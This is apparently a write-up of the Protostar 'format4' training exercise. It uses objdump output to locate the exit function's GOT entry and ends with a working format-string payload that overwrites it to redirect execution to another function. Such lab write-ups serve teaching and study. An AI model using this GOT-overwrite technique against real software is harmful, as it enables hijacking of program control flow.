Hacking: The Art of Exploitation, 2nd Edition has a section called Overwriting the Global Offset Table. After reading that section this exercise was relatively easy.
I disassembled the binary with objdump:
$ objdump -d /opt/protostar/bin/format4
At the last line of the vuln function the exit function is called.
804850f: e8 d8 fe ff ff call 80483ec <exit@plt>
The 0x080483ec is actually in the PLT (Procedure Linkage Table). PLT stores the references of the frequently used library functions. It contains lots of jump instructions. From the output of the objdump:
Disassembly of section .plt:
80483ec: ff 25 24 97 04 08 jmp *0x8049724
80483f2: 68 30 00 00 00 push $0x30
80483f7: e9 80 ff ff ff jmp 804837c <_init+0x30>
The first line is actually a jump to an address stored at 0x8049724. This address is in the Global Offset Table. The content of this table can be checked with objdump:
$ objdump -TR /opt/protostar/bin/format4
DYNAMIC RELOCATION RECORDS
OFFSET TYPE VALUE
08049724 R_386_JUMP_SLOT exit
0x08049724 is the address of the exit function. PLT is READONLY, however GOT is WRITABLE as we can see it from the output of the following:
$ objdump -h /opt/protostar/bin/format4
12 .plt 00000080 0804837c 0804837c 0000037c 2**2
CONTENTS, ALLOC, LOAD, READONLY, CODE
21 .got 00000004 080496fc 080496fc 000006fc 2**2
CONTENTS, ALLOC, LOAD, DATA
In simpler form:
- call exit function
- go to the PLT entry, which stores the location of the address of the exit function in the GOT
- jump to the GOT entry.
We also need the address of the hello function, which is 0x080484b4. 0x08049724, which is the address of the exit function, is writable. If we can overwrite this address with the address of the hello function (0x080484b4), then the execution will jump to the hello function, when the exit function is called.
In other words, our task is to write 0x080484b4 into the address 0x08049724.
$ python -c ‘print “\x24\x97\x04\x08\x26\x97\x04\x08%33964d%4$n%33616d%5$n”‘ > /tmp/1
$ cat /tmp/1 | /opt/protostar/bin/format4